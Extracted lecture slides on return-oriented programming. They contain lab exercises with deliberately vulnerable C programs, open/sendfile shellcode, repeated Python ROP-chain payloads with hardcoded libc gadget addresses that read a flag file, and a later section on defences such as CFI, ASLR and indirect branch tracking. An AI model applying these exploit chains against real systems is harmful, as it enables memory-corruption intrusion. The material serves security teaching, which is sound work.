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Return-oriented programming (ROP)
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Ropchain1 64bit
int f1(int i)
{
// if i is 1, print part of the flag
}

int f2(int i)
{
// if i is 2, print part of the flag
}

void f3(int i)
{
// if i is 3, print part of the flag
}

void f4(int i)
{
 // if i is 4, print part of the flag
}

To capture the flag, you 
need to call f1, f2, f3, then 
f4 in order.
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ROP
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Useful Gadgets

Store value to registers and skip data on stack:

pop rdx ; pop r12 ; ret

pop rdx ; pop rcx ; pop rbx ; ret

pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret

NOP:

ret;
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Useful Gadgets

Stack pivot:

xchg rax, rsp; ret

pop rsp; ...; ret
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Useful Gadgets

syscall instruction is quite rare in normal programs; may have to call library 

functions instead.
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A ROP chain to open a file and prints it out

Build a ROP chain, which opens the /flag file and prints it out to stdout. The target 

program is overflowret4_no_excstack_64, which is dynamically linked. You can look for 

gadgets in the executable or the C standard library.
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Recall how to read a file and print it out ...
The 32-bit shellcode

mov eax, 5 ; open syscall
push 4276545 ; set up other registers
mov ebx, esp
mov ecx, 0
mov edx, 0
int 0x80
mov ecx, eax ; set up other registers
mov ebx, 1
mov eax, 187 ; sendfile syscall
mov edx, 0
mov esi, 20
int 0x80
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If we follow the syscall approach, the stack looks like ...
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Let us call libc functions instead

sendfile(1, open("/flag", NULL), 0, 1000)

Caller

● Use registers to pass arguments to callee. Register order (1st, 2nd, 3rd, 4th, 5th, 

6th, etc.) rdi, rsi, rdx, rcx, r8, r9, ... (use stack for more arguments)

rdi rsi rcxrdxrdi rsi
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The stack should looks like ...
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commands

Ldd to find library offset

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6

--offset 0x00007ffff7daa000 | grep "pop rax ; ret"
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overflowret4_no_excstack_64 32-bit/64-bit
No stack canary; stack is not executable

int vulfoo()
{

 char buf[30];

 gets(buf);
 return 0;

}

int main(int argc, char *argv[])
{

 vulfoo();
 printf("I pity the fool!\n");

}
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#!/usr/bin/env python2

from struct import pack

# sendfile64
# open64
# .date
p = ''

p += "A"*56
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000404030) # @ .data
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x0067616c662f2f2f) # ///flag
p += pack('<Q', 0x00007ffff7e6b85b) # mov qword ptr [rdi], rax ; ret
p += pack('<Q', 0x00007ffff7de7529) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x00007ffff7ed0e50) # open64
p += pack('<Q', 0x00007ffff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep
movsq qword ptr [rdi], qword ptr [rsi] ; ret
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7edc371) # pop rdx ; pop r12 ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000050) # 80
p += pack('<Q', 0x00007ffff7ed6100) # sendfile64
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x000000000000003c) # 60
p += pack('<Q', 0x00007ffff7de584d) # syscall
print p

sendfile(1, open("./flag", NULL), 0, 1000)

rdi rsi rcxrdxrdi rsi
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# sendfile64 0x7ffff7ed6100
# open64 0x7ffff7ed0e50
# .date 0x0000000000404030
p = ''

p += "A"*56
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000404030) # @ .data
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x0067616c662f2f2f) # ///flag
p += pack('<Q', 0x00007ffff7e6b85b) # mov qword ptr [rdi], rax ; ret
p += pack('<Q', 0x00007ffff7de7529) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x00007ffff7ed0e50) # open64
p += pack('<Q', 0x00007ffff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep
movsq qword ptr [rdi], qword ptr [rsi] ; ret
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7edc371) # pop rdx ; pop r12 ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000050) # 80
p += pack('<Q', 0x00007ffff7ed6100) # sendfile64
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x000000000000003c) # 60
p += pack('<Q', 0x00007ffff7de584d) # syscall
print p

sendfile(1, open("./flag", NULL), 0, 1000)

rdi rsi rcxrdxrdi rsi
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# sendfile64 0x7ffff7ed6100
# open64 0x7ffff7ed0e50
# .date 0x0000000000404030
p = ''

p += "A"*56
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000404030) # @ .data
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x0067616c662f2f2f) # ///flag
p += pack('<Q', 0x00007ffff7e6b85b) # mov qword ptr [rdi], rax ; ret
p += pack('<Q', 0x00007ffff7de7529) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x00007ffff7ed0e50) # open64
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000000) # 80
p += pack('<Q', 0x00007ffff7f221e2) # mov rsi, rax ; shr ecx, 3 ; rep
movsq qword ptr [rdi], qword ptr [rsi] ; ret
p += pack('<Q', 0x00007ffff7de6b72) # pop rdi ; ret
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7edc371) # pop rdx ; pop r12 ; ret
p += pack('<Q', 0x0000000000000000) # 0
p += pack('<Q', 0x0000000000000001) # 1
p += pack('<Q', 0x00007ffff7e5f822) # pop rcx; ret
p += pack('<Q', 0x0000000000000050) # 80
p += pack('<Q', 0x00007ffff7ed6100) # sendfile64
p += pack('<Q', 0x00007ffff7e0a550) # pop rax ; ret
p += pack('<Q', 0x000000000000003c) # 60
p += pack('<Q', 0x00007ffff7de584d) # syscall
print p

sendfile(1, open("./flag", NULL), 0, 1000)

rdi rsi rcxrdxrdi rsi
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Or, just use chmod
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Rop2 (32 bit) FILE* fp = 0;
int a = 0;

int vulfoo(int i)
{

 char buf[200];
 fp = fopen("/tmp/exploit", "r");
 if (!fp) {perror("fopen");exit(0);}

 fread(buf, 1, 190, fp);
 // Move the first 4 bytes to RET
 *((unsigned int *)(&i) - 1) = *((unsigned int *)buf);
 a = *((unsigned int *)buf + 1);

 // Move the second 4 bytes to eax
 asm ( "movl %0, %%eax"
 :
 :"r"(a)
 );

}

int main(int argc, char *argv[])
{ vulfoo(1); return 0;}
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Useful Gadgets

Stack pivot:

xchg rax, rsp; ret

pop rsp; ...; ret
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Rop2 (32 bit)
FILE* fp = 0;
int a = 0;

int vulfoo(int i)
{

 char buf[200];
 fp = fopen("/tmp/exploit", "r");
 if (!fp) {perror("fopen");exit(0);}

 fread(buf, 1, 190, fp);
 // Move the first 4 bytes to RET
 *((unsigned int *)(&i) - 1) = *((unsigned int *)buf);
 a = *((unsigned int *)buf + 1);

 // Move the second 4 bytes to eax
 asm ( "movl %0, %%eax"
 :
 :"r"(a)
 );

}

int main(int argc, char *argv[])
{ vulfoo(1); return 0;}

p += pack('<I', 0xf7e1a373) # 0xf7e1a373 : xchg eax, esp ; 
ret
p += pack('<I', 0xffffcf8c) # Move to EAX, so it will be 
exchanged with ESP; this is
buf+8
…
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Generalize ROP to COP/JOP

Similarly, other indirect branch instructions, such as Call and Jump indirect can be 

used to launch variant attacks - called COP (call oriented programming) or JOP 

(jump oriented programming).



23AsiaCCS’11
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Defeating ROP/COP/JOP
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How to pull off a ROP attack?
1. Subvert the control flow to the first gadget.

2. Control the content on the stack. Do not need to inject code there.

3. Enough gadgets in the address space.

4. Know the addresses of the gadgets.

5. Start execution anywhere (middle of instruction).
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Ideas to defeat ROP/COP/JOP:
1. Shadow stack / control-flow integrity

1. Subvert the 
control flow to the 
first gadget.

2. Control the 
content on the 
stack. Do not need 
to inject code 
there.

3. Enough gadgets in 
the address space.

4. Know the 
addresses of the 
gadgets.

5. Start execution 
anywhere (middle 
of instruction).CCS 2005, Test of Time award 2015
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Control Flow Integrity (CFI)
1. Control-Flow Integrity (CFI) restricts the control-flow of an program to valid 

execution traces.

2. CFI enforces this property by monitoring the program at runtime and comparing 

its state to a set of precomputed valid states. If an invalid state is detected, an 

alert is raised, usually terminating the application.

Any CFI mechanism consists of two abstract components: the (often static) analysis 
component that recovers the Control-Flow Graph (CFG) of the application (at 

different levels of precision) and the dynamic/run-time enforcement mechanism 

that restricts control flows according to the generated CFG.



28

Direct call/jmp vs. Indirect call/jmp
The direct call/jmp uses an instruction call/jmp with a fixed address as argument. After 

the compiler/linker has done its job, this address will be included in the opcode. The code 

text is supposed to be read/executable only and not writable. So, direct call/jmp cannot be 

subverted.

The indirect call/jmp uses an instruction call/jmp with a register as argument (call rax,
jmp rax). Function return (ret) is also considered as indirect because the target is not

hardcoded in the instruction.

Call or jmp is named forward-edge (at source code level map to e.g., switch statements,

indirect calls, or virtual calls.). The backward-edge is used to return to a location that was

used in a forward-edge earlier (return instruction).

Interrupts and interrupt returns.
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void bar();
void baz();
void buz();
void bez(int, int);

void foo(int usr) {
 void (*func)();

 // func either points to bar or baz
 if (usr == MAGIC)
 func = bar;
 else
 func = baz;
 // forward edge CFI check
 // depending on the precision of CFI:
 // a) all functions {bar, baz, buz, bez, foo} are allowed
 // b) all functions with prototype "void (*)()" are allowed, i.e., {bar, baz, buz}
 // c) only address taken functions are allowed, i.e., {bar, baz}
 CHECK_CFI_FORWARD(func);
 func();

 // backward edge CFI check
 CHECK_CFI_BACKWARD();
}

CFI Enforcement
Locations

https://nebelwelt.net/blog/2016
0913-ControlFlowIntegrity.html

https://nebelwelt.net/blog/20160913-ControlFlowIntegrity.html
https://nebelwelt.net/blog/20160913-ControlFlowIntegrity.html
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Control-Flow Integrity (CFI)

Instrument at source code or binary level

Example CFI instrumentations of an x86 computed jump instruction [1]

[1] Erlingsson, M. A. M. B. U., & Jigatti, J. Control-flow integrity. ACM conference on Computer and communications security (CCS) 2005.
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Ideas to defeat ROP: 2. ASLR

1. Subvert the control flow to the first gadget.

2. Control the content on the stack. Do not need to inject code there.

3. Enough gadgets in the address space.

4. Know the addresses of the gadgets.

5. Start execution anywhere (middle of instruction).

There are many ways to defeat ASLR.
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Ideas to defeat ROP: 3. Remove gadgets

ACSAC 2010



RET?
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X86 Instruction Set Reference
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Ideas to defeat ROP: 3. Remove gadgets
Basic idea: Remove C3/C2/CA/CB from the code
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Ideas to defeat ROP: 3. Remove gadgets
Basic idea: Remove C3/C2/CA/CB from the code
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Ideas to defeat ROP: 3. Remove gadgets
Basic idea: Remove C3/C2/CA/CB from the code
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Ideas to defeat ROP: 3. Remove gadgets

1. Subvert the control flow to the first gadget.

2. Control the content on the stack. Do not need to inject code there.

3. Enough gadgets in the address space.

4. Know the addresses of the gadgets.

5. Start execution anywhere (middle of instruction).
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Ideas to defeat ROP: 4. Monitor CFI

USENIX Security 2013
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Ideas to defeat ROP: 5. Indirect Branch Tracking

All indirect branch targets must start with

ENDBR64/ENDBR32.

● ENDBR64/ENDBR32 is NOP on non-CET processors.



SoK: Eternal War in Memory. IEEE S&P 2013


